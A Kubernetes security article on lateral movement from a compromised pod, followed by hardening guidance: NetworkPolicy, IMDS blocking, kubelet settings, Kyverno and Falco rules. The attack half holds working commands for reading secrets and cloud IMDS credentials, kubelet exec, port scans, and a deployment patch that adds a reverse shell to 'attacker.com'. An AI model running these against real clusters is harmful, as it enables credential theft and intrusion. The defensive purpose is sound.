Kubernetes Network Lateral Movement: From Compromised Pod to Internal Service Exfiltration
The Problem
A Kubernetes cluster with no NetworkPolicy is a flat network. Every pod can reach every other pod across all namespaces. Every pod can reach the Kubernetes API server. Every pod can query the node’s cloud instance metadata service. There are no network boundaries unless you create them.
The default state of a freshly provisioned cluster — EKS, GKE, AKS, or self-managed — is no NetworkPolicy resources. Zero. The CNI enforces nothing because there is nothing to enforce. From a shell inside any pod, an attacker can reach the database pods in another namespace, the Redis instance in the same namespace, the Kubernetes API server at kubernetes.default.svc.cluster.local:443, the kubelet API on every node at port 10250, and the cloud instance metadata service at 169.254.169.254. All of this is reachable from an unprivileged application pod with a working RCE exploit and no Linux capabilities beyond the defaults.
This is not a configuration mistake — it is the Kubernetes default. The Kubernetes NetworkPolicy API requires explicit opt-in. Most teams deploy workloads for months before they write a single NetworkPolicy. By the time a security team audits the cluster, the application team has dozens of services, unclear dependency maps, and no appetite for the incident-inducing process of applying default-deny to a production namespace they do not fully understand.
This article maps the exact attack paths available from a compromised pod, names the ports, tools, and API endpoints at each step, and provides the NetworkPolicy, kubelet configuration, IMDSv2 constraints, and Falco rules that block each path.
Starting Position
Attacker has RCE in an application pod. The pod runs as a non-root user (UID 1000), has no Linux capabilities beyond the default set, and is not privileged. The service account token is automounted at the default path. No NetworkPolicy resources exist in the cluster.
This is the position after a successful deserialization exploit against a Java application, a template injection in a Python web service, or a compromised container image that shipped a reverse shell. It is not an elevated starting position — it is the realistic worst case for a standard application deployment.
Discovery Phase
DNS Enumeration
Kubernetes DNS is the first reconnaissance tool available. Every service in the cluster resolves via <service>.<namespace>.svc.cluster.local. From inside any pod, the CoreDNS resolver at kube-dns.kube-system.svc.cluster.local handles these queries without authentication. DNS brute-force requires no special network access because DNS is permitted traffic in every cluster configuration.
# Kubernetes DNS resolves all services cluster-wide
# The API server has a well-known name in every cluster:
nslookup kubernetes.default.svc.cluster.local
# Common service names across namespaces:
for svc in database postgres mysql redis mongodb elasticsearch kafka \
rabbitmq consul vault prometheus grafana jaeger tempo; do
for ns in default production staging kube-system monitoring logging; do
result=$(nslookup ${svc}.${ns}.svc.cluster.local 2>/dev/null)
[ $? -eq 0 ] && echo "Found: ${svc}.${ns}.svc.cluster.local"
done
done
DNS enumeration is silent from a network monitoring perspective. There is no connection attempt to the target service — just a UDP query to CoreDNS. Falco and network flow tools typically do not alert on DNS queries alone.
Service Account Token
Every pod receives an automounted service account token unless automountServiceAccountToken: false is explicitly set. The token is a short-lived JWT signed by the API server, mounted at a predictable path:
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
APISERVER=https://kubernetes.default.svc.cluster.local
# Check what the pod's service account can do:
curl -s -H "Authorization: Bearer $TOKEN" \
--cacert $CACERT \
$APISERVER/apis/authorization.k8s.io/v1/selfsubjectaccessreviews \
-X POST \
-H 'Content-Type: application/json' \
-d '{"apiVersion":"authorization.k8s.io/v1","kind":"SelfSubjectAccessReview","spec":{"resourceAttributes":{"verb":"list","resource":"secrets"}}}'
# List all namespaces (succeeds if SA has cluster-level list access):
curl -s -H "Authorization: Bearer $TOKEN" \
--cacert $CACERT \
$APISERVER/api/v1/namespaces
# List secrets in the current namespace:
curl -s -H "Authorization: Bearer $TOKEN" \
--cacert $CACERT \
$APISERVER/api/v1/namespaces/production/secrets
The CA certificate is also mounted at the same path, which means the API server TLS certificate is trusted automatically — the attacker does not need to disable certificate verification.
Network Scanning
Standard cluster CIDRs make network scanning predictable. Pod CIDRs are typically 10.244.0.0/16 (Flannel default), 10.0.0.0/8, or 192.168.0.0/16. Service CIDRs are typically 10.96.0.0/12.
# Identify current pod IP to determine pod CIDR:
ip addr show eth0
# Scan for kubelet API ports across node IPs
# Node IPs are typically in a different range from pod IPs
# Read node IPs from the API if SA has node list permission:
curl -s -H "Authorization: Bearer $TOKEN" \
--cacert $CACERT \
$APISERVER/api/v1/nodes \
| python3 -c "import sys,json; nodes=json.load(sys.stdin); \
[print(a['address']) for n in nodes['items'] \
for a in n['status']['addresses'] if a['type']=='InternalIP']"
# Port scan node IPs for kubelet ports:
# 10250: kubelet main API (requires client cert or webhook auth)
# 10255: kubelet read-only API (no auth — deprecated but often still enabled)
# 2379: etcd client port
# 6443: API server alternative port
for node_ip in $NODE_IPS; do
for port in 2379 6443 10250 10255; do
timeout 1 bash -c "echo > /dev/tcp/$node_ip/$port" 2>/dev/null \
&& echo "Open: $node_ip:$port"
done
done
Attack Path 1: Kubernetes API Server via Service Account Token
The default service account in most namespaces has more permissions than operators realise. When Helm charts deploy applications, they frequently create service accounts with overly broad cluster roles to simplify deployment. The default service account in the default namespace often has no RBAC bindings, but application service accounts frequently do.
# Enumerate what the current SA can do:
curl -s -H "Authorization: Bearer $TOKEN" \
--cacert $CACERT \
$APISERVER/apis/authorization.k8s.io/v1/selfsubjectrulesreviews \
-X POST \
-H 'Content-Type: application/json' \
-d "{\"apiVersion\":\"authorization.k8s.io/v1\",\"kind\":\"SelfSubjectRulesReview\",\
\"spec\":{\"namespace\":\"production\"}}" \
| python3 -m json.tool
Common overprivileged capabilities found in production clusters:
secrets: list/get — Read all secrets in the namespace. This immediately yields database credentials, API keys, TLS private keys, and cloud provider credentials that other workloads mount as environment variables or volumes. Listing secrets in a namespace with 20 services exposes credentials for every downstream dependency.
# Extract all secret values from a namespace:
curl -s -H "Authorization: Bearer $TOKEN" \
--cacert $CACERT \
$APISERVER/api/v1/namespaces/production/secrets \
| python3 -c "
import sys, json, base64
data = json.load(sys.stdin)
for item in data.get('items', []):
print(f\"=== {item['metadata']['name']} ===\")
for k, v in item.get('data', {}).items():
print(f\" {k}: {base64.b64decode(v).decode('utf-8', errors='replace')}\")"
pods: create — Create a new pod with a different service account, a hostPath volume mounting /etc, or a privileged security context. This is a full node escape path: create a pod that mounts the node’s filesystem, write an SSH key to /root/.ssh/authorized_keys, and gain persistent node access. The NetworkPolicy article covers this path from the container escape angle; the network-level constraint is that pod creation requires API server access, which requires the SA to have pods: create permission.
deployments: patch — Inject a malicious container into an existing deployment. Less noisy than creating a new pod — the malicious container appears as a sidecar on an existing workload. The existing workload’s network policy (if any) now also applies to the malicious container.
# Patch an existing deployment to add a reverse shell sidecar:
curl -s -X PATCH \
-H "Authorization: Bearer $TOKEN" \
--cacert $CACERT \
-H 'Content-Type: application/strategic-merge-patch+json' \
$APISERVER/apis/apps/v1/namespaces/production/deployments/web-frontend \
-d '{
"spec": {
"template": {
"spec": {
"containers": [
{"name": "debug", "image": "busybox",
"command": ["/bin/sh","-c","nc attacker.com 4444 -e /bin/sh"]}
]
}
}
}
}'
Attack Path 2: Kubelet API
The kubelet exposes two ports. Port 10255 is the read-only API, deprecated in Kubernetes 1.16 but still enabled by default on many managed clusters unless explicitly disabled. Port 10250 is the main kubelet API, which requires webhook authentication in correctly hardened clusters, but still gets called from inside the pod network.
Read-Only Port (10255) — No Authentication Required
# List all pods on the node with full spec (includes env vars, volume mounts):
curl http://NODE_IP:10255/pods | python3 -m json.tool
# What this exposes without any authentication:
# - All pod specs on the node (including env var values)
# - Container images and tags
# - Volume mount paths
# - Service account names
# - ConfigMap and Secret names referenced in pod specs
# Note: env vars with direct values (not secretKeyRef) are fully visible
This port exposes the full pod spec, which includes environment variables defined directly in the spec (not via secrets). Any pod that sets DB_PASSWORD=secretvalue directly in the deployment YAML exposes that value to anyone who can reach port 10255 on the node — including any other pod in the cluster.
Main Kubelet API (10250) — Exec Without kubectl
With correct kubelet configuration (authentication.webhook.enabled: true), the main API requires a client certificate or webhook authentication. Without correct configuration — or with anonymous access enabled — the main API allows remote execution:
# Execute a command in a running container without kubectl:
curl -k -X POST \
https://NODE_IP:10250/exec/production/web-frontend-abc123/web \
-H 'Content-Type: application/json' \
-d '{"command": ["id"], "stdin": false, "stdout": true, "stderr": true, "tty": false}'
# If anonymous auth is enabled, this executes without credentials
# Response is a WebSocket stream — use wscat or write a simple client
The kubelet exec endpoint on port 10250 is the same mechanism kubectl exec uses, proxied through the API server. Direct access to the kubelet bypasses any API server audit logging — exec events do not appear in the cluster audit log when called directly against the kubelet.
Attack Path 3: Database Services
Without NetworkPolicy, every database service in the cluster is reachable from any pod. The attack surface depends on the authentication configuration of the database itself.
PostgreSQL
PostgreSQL deployed via Helm chart typically allows password authentication. The password is in a Kubernetes secret. If the compromised pod’s service account can read secrets, or if the credentials are in the same namespace as the compromised pod, they are accessible.
# Read database credentials from the Kubernetes secret:
curl -s -H "Authorization: Bearer $TOKEN" \
--cacert $CACERT \
$APISERVER/api/v1/namespaces/production/secrets/postgres-credentials \
| python3 -c "import sys,json,base64; \
d=json.load(sys.stdin)['data']; \
[print(f'{k}: {base64.b64decode(v).decode()}') for k,v in d.items()]"
# Connect directly to the database:
PGPASSWORD=stolen_password psql \
-h postgres.production.svc.cluster.local \
-U admin \
-d production_db \
-c "SELECT table_name FROM information_schema.tables WHERE table_schema='public';"
PostgreSQL with pg_hba.conf that allows md5 or scram-sha-256 authentication from any IP (common when deployed in a cluster expected to use NetworkPolicy that was never applied) accepts connections from any pod.
Redis
Redis deployments in internal clusters frequently run without authentication (requirepass not set) or with a weak shared password. Redis is particularly dangerous because it allows arbitrary writes that can cascade: write a malicious cron job to disk if Redis is running as root and has RDB persistence to a path with write access, manipulate session data in applications that use Redis for session storage, or use KEYS * to enumerate all cached data.
# Check if Redis requires authentication:
redis-cli -h redis.production.svc.cluster.local ping
# Returns PONG if no auth required; returns NOAUTH if auth required
# Enumerate all keys (avoid on large caches — can block Redis):
redis-cli -h redis.production.svc.cluster.local keys '*'
# Read a session token (example key pattern):
redis-cli -h redis.production.svc.cluster.local get "session:user:admin:token"
Elasticsearch
Elasticsearch clusters deployed without X-Pack security enabled (common before Elasticsearch 8.0 made security mandatory by default, and still present in clusters deployed from older Helm charts) accept unauthenticated HTTP requests. Even Elasticsearch 8.0+ clusters with internal HTTPS disabled or with a known default password are accessible.
# Check cluster health and index list:
curl http://elasticsearch.logging.svc.cluster.local:9200/_cat/indices?v
# Dump documents from a specific index:
curl http://elasticsearch.logging.svc.cluster.local:9200/application-logs-*/_search \
-H 'Content-Type: application/json' \
-d '{"query":{"match_all":{}},"size":100}'
# Application logs often contain: request payloads, authentication tokens,
# PII, and internal API responses — data that developers log for debugging
# and that contains sensitive values not intended for long-term storage.
Attack Path 4: Cloud Instance Metadata Service
From any pod, without network restrictions, the cloud instance metadata service (IMDS) is reachable at 169.254.169.254. This is a link-local address on the node, but the pod network can reach it because the node routes packets from pod interfaces to this address.
# AWS: Retrieve IAM credentials attached to the EC2 instance:
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Returns the role name, then:
ROLE=$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/)
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE
# Returns: AccessKeyId, SecretAccessKey, Token, Expiration
# GCP: Retrieve service account credentials:
curl -H "Metadata-Flavor: Google" \
http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token
# Azure: Retrieve managed identity token:
curl -H "Metadata:true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2019-06-04&resource=https://management.azure.com/"
The AWS IAM credentials obtained from IMDS have the permissions of the EC2 instance role — the same role used by the node’s kubelet and any workloads that rely on IRSA fallback. Node instance roles in EKS frequently have permissions to describe EC2 instances, read from S3 buckets used for cluster configuration or backups, describe RDS instances, and in some configurations, modify autoscaling groups.
The exfiltrated IMDS credentials are long-lived from the attacker’s perspective: AWS IAM credentials obtained from IMDS are temporary (typically 6-hour validity), but the attacker can use them immediately for reconnaissance or resource creation.
Escalation Chain
The full escalation from a compromised application pod in a cluster with no NetworkPolicy:
- RCE in pod — Attacker executes arbitrary commands inside a non-root container.
- SA token read — Token at
/var/run/secrets/kubernetes.io/serviceaccount/tokenis read. Takes 10 milliseconds. - API server enumeration — SA permissions are checked. If
secrets: listexists, all namespace secrets are read. Ifpods: createexists, a privileged pod is created for node escape. - DNS enumeration — Internal services are discovered via DNS brute-force. No connections made yet.
- Database access — Credentials from secrets or environment variables used to connect directly to databases. Full read/write access to production data.
- Kubelet API — Node IPs read from the API server or via IMDS. Port 10255 (read-only) probed across all nodes. Pod specs, environment variables, and secret references enumerated.
- IMDS credential theft — EC2/GCP/Azure instance credentials retrieved. Cloud-level lateral movement begins: S3 enumeration, RDS snapshot export, IAM privilege escalation.
- Persistence — Malicious sidecar injected into existing deployment via
deployments: patch. Reverse shell survives pod restarts.
Each step takes seconds to minutes. Steps 3 through 7 are parallelisable. A competent attacker can reach step 7 within five minutes of gaining initial pod access, and the entire chain requires no Linux privilege escalation, no container escape, and no kernel exploits.
Threat Model
Adversary: Attacker with RCE in any application pod. No special Linux capabilities. No root access within the container.
Initial access vector: Deserialization exploit, SSRF → RCE, compromised container image, dependency confusion via package manager. Any workload is a potential entry point.
What is accessible without any exploitation beyond the initial RCE:
- All services in all namespaces — via direct TCP connections on their service IPs
- All Kubernetes secrets in namespaces where the SA has
secrets: list— database credentials, API keys, TLS private keys - All pod specs on the compromised pod’s node — via kubelet read-only API at port 10255
- Full application log history — via Elasticsearch or similar log aggregation exposed internally
- Session tokens and cache data — via Redis or Memcached
- Cloud IAM credentials — via IMDS
- The Kubernetes API server itself — for cluster state enumeration, secret access, and workload manipulation
What is not accessible without additional exploitation:
- Secrets in namespaces where the SA has no RBAC permissions (unless the SA has cluster-level
secrets: list) - Host filesystem — requires host path mount or container escape
- Other nodes’ filesystems — requires node lateral movement after credential theft
Data at risk: Production database contents, customer PII, payment data, authentication credentials for downstream services, cloud resources accessible via the instance role, any data cached in Redis or logged to Elasticsearch.
Blast radius in a no-NetworkPolicy cluster: Effectively the entire cluster and the cloud account. A single compromised pod is an entry point to everything.
Hardening Configuration
1. Default-Deny NetworkPolicy for Every Namespace
The most important control. Apply to every namespace immediately. This is not optional and should not wait for a full dependency audit — apply default-deny and restore connectivity as errors are discovered. The disruption of applying default-deny is recoverable; an undetected lateral movement event is not.
# Apply this to every namespace:
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: default-deny-all
namespace: production
spec:
podSelector: {} # Applies to all pods in the namespace
policyTypes:
- Ingress
- Egress
# No rules = deny all ingress and egress
After applying default-deny, DNS breaks immediately. Fix this first — without DNS, most applications cannot function and you lose visibility into what traffic actually needs to be allowed:
# Allow DNS egress to CoreDNS — required for all namespaces:
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: allow-dns-egress
namespace: production
spec:
podSelector: {}
policyTypes:
- Egress
egress:
- to:
- namespaceSelector:
matchLabels:
kubernetes.io/metadata.name: kube-system
podSelector:
matchLabels:
k8s-app: kube-dns
ports:
- port: 53
protocol: UDP
- port: 53
protocol: TCP
Then add explicit allows for required traffic only:
# Allow web tier to reach database:
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: allow-web-to-postgres
namespace: production
spec:
podSelector:
matchLabels:
app: postgres
policyTypes:
- Ingress
ingress:
- from:
- podSelector:
matchLabels:
app: web
ports:
- port: 5432
---
# Allow ingress controller to reach web pods:
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: allow-ingress-to-web
namespace: production
spec:
podSelector:
matchLabels:
app: web
policyTypes:
- Ingress
ingress:
- from:
- namespaceSelector:
matchLabels:
kubernetes.io/metadata.name: ingress-nginx
ports:
- port: 8080
NetworkPolicy is enforced at the CNI level, not in the kernel. Calico, Cilium, and Antrea all implement it. Flannel does not implement NetworkPolicy — if your cluster uses Flannel, NetworkPolicy resources are accepted by the API server but have no effect. Verify enforcement with a connectivity test after applying policies.
2. Block IMDS from Pod Network
The IMDS address 169.254.169.254 is a link-local route on the node. Block it at the network level before pods can reach it:
# Node-level iptables — run on every node (add to node startup script):
POD_CIDR="10.244.0.0/16" # Adjust to your cluster pod CIDR
iptables -I FORWARD -s $POD_CIDR -d 169.254.169.254 -j DROP
# Verify the rule is in place:
iptables -L FORWARD -n | grep 169.254.169.254
For AWS EKS, enforce IMDSv2 with a hop limit of 1. IMDSv2 requires a PUT request to obtain a session token before any GET request. The hop limit of 1 means the PUT request’s TTL expires before it reaches IMDS from inside a container (which has one additional network hop through the pod network interface). Containers cannot obtain a token and therefore cannot use IMDSv2:
# Apply to all nodes in the node group:
aws ec2 modify-instance-metadata-options \
--instance-id i-0abc123def456789 \
--http-put-response-hop-limit 1 \
--http-tokens required \
--http-endpoint enabled
# Verify:
aws ec2 describe-instance-metadata-options --instance-id i-0abc123def456789
For EKS, use IRSA (IAM Roles for Service Accounts) to assign AWS permissions to specific service accounts rather than the node instance role. With IRSA, the node instance role can be stripped of most permissions, and only service accounts with explicit IRSA annotations can obtain AWS credentials via OIDC federation. The instance role becomes a near-empty role that cannot be exploited even if IMDS is reachable.
3. Disable Kubelet Read-Only Port and Enforce Authentication
The read-only port at 10255 must be disabled. There is no legitimate use case for it in a production cluster:
# /var/lib/kubelet/config.yaml on each node:
apiVersion: kubelet.config.k8s.io/v1beta1
kind: KubeletConfiguration
authentication:
anonymous:
enabled: false # No anonymous requests to main API
webhook:
enabled: true # Use API server webhook to authenticate requests
cacheTTL: 2m0s
authorization:
mode: Webhook # Delegate authorization to API server
readOnlyPort: 0 # 0 disables the read-only port entirely
# Alternatively, the flag: --read-only-port=0
For EKS managed node groups, set this via a custom launch template that includes the kubelet configuration:
{
"kubeletExtraArgs": "--read-only-port=0 --anonymous-auth=false"
}
After disabling anonymous access, verify that the kubelet API rejects unauthenticated requests:
curl -k https://NODE_IP:10250/pods
# Expected: 401 Unauthorized
# Not: 200 with pod list
curl http://NODE_IP:10255/pods
# Expected: Connection refused
# Not: 200 with pod list
4. Restrict Service Account Token Automounting
Pods that do not need to call the Kubernetes API should not receive a service account token. This eliminates attack path 1 entirely for those pods.
# At the ServiceAccount level (applies to all pods using this SA):
apiVersion: v1
kind: ServiceAccount
metadata:
name: web-app
namespace: production
automountServiceAccountToken: false
---
# Override at the pod level if a specific pod needs API access:
apiVersion: v1
kind: Pod
spec:
serviceAccountName: web-app
automountServiceAccountToken: true # Override SA-level setting
Enforce this organisation-wide with a Kyverno policy. This prevents new deployments from accidentally mounting tokens when they don’t need them:
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: require-no-automount-sa-token
annotations:
policies.kyverno.io/title: Restrict Service Account Token Automounting
policies.kyverno.io/description: >
Application pods must explicitly opt in to service account token
mounting. Default state is no automount.
spec:
validationFailureAction: Enforce
background: true
rules:
- name: check-automount-sa-token
match:
any:
- resources:
kinds:
- Pod
exclude:
any:
# Exclude system namespaces:
- resources:
namespaces:
- kube-system
- kube-public
- cert-manager
- ingress-nginx
validate:
message: >
Pods must set automountServiceAccountToken: false unless they
require Kubernetes API access. Add the annotation
security.example.com/needs-api-access: "true" and set
automountServiceAccountToken: true to opt in.
deny:
conditions:
any:
# Deny if automountServiceAccountToken is not explicitly false
# AND the opt-in annotation is not present:
- key: "{{ request.object.spec.automountServiceAccountToken }}"
operator: NotEquals
value: false
- key: "security.example.com/needs-api-access"
operator: AnyNotIn
value: "{{ request.object.metadata.annotations }}"
5. Cilium L7 Network Policy for API Server Access
Pods that legitimately need Kubernetes API access (operators, controllers) should have their API access restricted to specific paths and verbs. Standard NetworkPolicy allows any traffic on port 6443; Cilium CiliumNetworkPolicy can restrict to specific HTTP paths:
apiVersion: cilium.io/v2
kind: CiliumNetworkPolicy
metadata:
name: restrict-api-server-access
namespace: production
spec:
endpointSelector:
matchLabels:
needs-api-access: "true"
egress:
- toEntities:
- kube-apiserver
toPorts:
- ports:
- port: "6443"
protocol: TCP
rules:
http:
# Only allow GET on the specific namespace this controller manages:
- method: "GET"
path: "/api/v1/namespaces/production/.*"
- method: "GET"
path: "/apis/apps/v1/namespaces/production/.*"
# No secrets access, no cross-namespace access, no write verbs
This ensures that even if a controller pod is compromised, the stolen service account token can only be used for the paths the Cilium policy allows — not for listing secrets cluster-wide or creating pods in other namespaces.
6. Falco Rules for Lateral Movement Detection
NetworkPolicy blocks network-level lateral movement, but Falco detects the reconnaissance phase — service account token reads, unexpected API calls, and port scanning behaviour — before a network connection is attempted.
- rule: Unexpected service account token read
desc: >
A process other than known application binaries read the service account
token. This is a strong indicator of credential theft from a compromised pod.
condition: >
open_read and
container and
fd.name = "/var/run/secrets/kubernetes.io/serviceaccount/token" and
not proc.name in (java, python3, node, ruby, dotnet, your-app-binary) and
not proc.pname in (java, python3, node, ruby)
output: >
SA token read by unexpected process
(proc=%proc.name pname=%proc.pname
container=%container.name image=%container.image.repository
user=%user.name uid=%user.uid)
priority: WARNING
tags: [lateral-movement, credential-theft, kubernetes]
- rule: Direct Kubernetes API call from container
desc: >
curl, wget, or scripting language making HTTP calls to the Kubernetes
API server. Legitimate applications use client libraries, not raw HTTP
tools. Indicates manual attacker activity.
condition: >
(spawned_process or open_write) and
container and
proc.name in (curl, wget, httpie, python3, python, ruby) and
(fd.rip = "10.96.0.1" or # Default service cluster IP
fd.sip = "10.96.0.1" or
proc.cmdline contains "kubernetes.default")
output: >
Direct K8s API call from container tool
(proc=%proc.name cmdline=%proc.cmdline
container=%container.name image=%container.image.repository)
priority: WARNING
tags: [lateral-movement, kubernetes, api-abuse]
- rule: DNS enumeration of cluster services
desc: >
High-frequency DNS queries from a single container — consistent with
automated service name brute-force. Threshold tuned to not alert on
normal application startup (which may resolve several service names).
condition: >
container and
evt.type = connect and
fd.l4proto = udp and
fd.rport = 53 and
evt.count >= 20 within 10s
output: >
High-frequency DNS from container — possible service enumeration
(container=%container.name image=%container.image.repository
count=%evt.count)
priority: WARNING
tags: [reconnaissance, lateral-movement, dns]
- rule: Port scan from container
desc: >
Container connecting to multiple ports on the same host. Consistent with
kubelet API port scanning (10250, 10255, 2379) across node IPs.
condition: >
container and
evt.type = connect and
fd.l4proto = tcp and
not fd.rip in (allowed_egress_ips) and
evt.count >= 5 within 5s
output: >
Port scan activity from container
(proc=%proc.name container=%container.name
target_ip=%fd.rip ports=%fd.rport)
priority: WARNING
tags: [reconnaissance, lateral-movement, port-scan]
Expected Behaviour After Hardening
Default-deny NetworkPolicy applied:
# From a pod in the production namespace, after default-deny + DNS allow:
curl http://redis.production.svc.cluster.local:6379
# Connection timed out — no response from Redis
curl http://postgres.production.svc.cluster.local:5432
# Connection timed out
curl https://kubernetes.default.svc.cluster.local
# Connection timed out — API server unreachable from this pod
# DNS still works (the allow-dns-egress policy is in place):
nslookup redis.production.svc.cluster.local
# Returns the cluster IP — DNS resolution works, TCP connection does not
IMDSv2 with hop limit 1:
# From inside a pod, with hop limit enforced:
curl -X PUT http://169.254.169.254/latest/api/token \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600"
# Returns: curl: (28) Operation timed out
# The PUT request's TTL expires before reaching IMDS — no token obtained
# From the node itself (one hop):
curl -X PUT http://169.254.169.254/latest/api/token \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600"
# Returns: AQAAAXgY... (token works on node, not in pod)
Falco output when SA token is read by an unexpected process:
2026-05-09T14:23:11.847293483Z WARNING SA token read by unexpected process
proc=curl pname=bash container=web-frontend-7d8f9b-xyz
image=myregistry.io/web-app user=nobody uid=65534
This alert fires within milliseconds of the open() syscall on the token file. By the time an attacker calls curl with the token, the alert has already been generated. The alert contains enough context to identify the affected container and correlate with pod metadata.
Trade-offs
Default-deny NetworkPolicy. The first deployment of default-deny into a production namespace that has never had NetworkPolicy will break traffic. The question is not whether it will break things — it will — but whether you discover broken traffic in a controlled way (monitoring after planned deployment) or an uncontrolled way (incident report from users). Apply in audit mode first if your CNI supports it (Calico and Cilium both support policy audit/log modes that record what would be blocked without blocking it). Use network flow logs from Cilium Hubble or Calico’s flow logs to map actual traffic before applying block rules.
IMDSv2 hop limit. Any application that calls IMDS directly from within a pod will break. This includes older AWS SDKs (boto3 < 1.9.220 does not support IMDSv2; this is unlikely to matter in 2026 but may affect legacy workloads), any application that reads IAM credentials via IMDS rather than via IRSA, and any Helm chart that uses instance credentials rather than IRSA. Audit workloads before enforcing. The fix for affected workloads is to configure IRSA — not to maintain IMDS access from pods.
Disabling SA token automounting. Any workload that calls the Kubernetes API without the token — operators, controllers, applications that use client-go — will fail immediately. This is typically 5-10% of workloads in a production cluster. The Kyverno policy should be deployed in audit mode first, generating policy reports rather than blocking, so you can enumerate affected workloads before enforcing.
Cilium L7 policy. L7 policy processing adds latency to API server calls from affected pods — typically 1-3ms per request. For controllers that make infrequent API calls this is irrelevant. For high-frequency controllers (custom controllers that reconcile every second), measure the latency impact before enforcing in production.
Failure Modes
Egress-only NetworkPolicy omission. The most common mistake. A team applies a default-deny policy but specifies only policyTypes: [Ingress]. The egress block is missing. Pods cannot receive unsolicited connections (ingress is blocked), but they can initiate connections to anything (egress is unrestricted). Lateral movement from the pod to databases and the API server still works. Always specify both Ingress and Egress in default-deny policies, and verify egress is blocked by attempting an outbound connection from the pod after applying the policy.
Namespace gap. Default-deny is applied to production and staging but not to default, monitoring, or logging. An attacker who compromises a pod in the logging namespace — perhaps a log aggregator processing malicious log payloads — can reach the production database directly because the logging namespace has no NetworkPolicy. Attackers pivot through unprotected namespaces. Every namespace requires a default-deny policy, including namespaces that contain only monitoring or tooling workloads.
CNI without NetworkPolicy enforcement. Flannel does not implement NetworkPolicy. If your cluster runs Flannel, every NetworkPolicy resource you create is silently ignored. The API server accepts the resources (it does not validate enforcement capability), and kubectl get networkpolicy returns them. But nothing is blocked. Verify your CNI supports NetworkPolicy enforcement before deploying policies — and verify enforcement actually works by testing blocked connections.
Kubelet read-only port still enabled. Even with default-deny NetworkPolicy, the kubelet read-only port at 10255 is typically on the node’s host network — not the pod network. Depending on CNI configuration, pods may still be able to reach node IPs on host network ports. Verify that port 10255 returns a connection refused, not a pod list.
No monitoring of allowed traffic. NetworkPolicy reduces the attack surface, but the remaining allowed traffic is unmonitored without Falco or network flow analysis. A compromised pod that legitimately needs database access (the NetworkPolicy allows it) can exfiltrate data via the allowed connection. NetworkPolicy and runtime monitoring are complementary — NetworkPolicy restricts the surface, Falco detects anomalous behaviour within the allowed surface.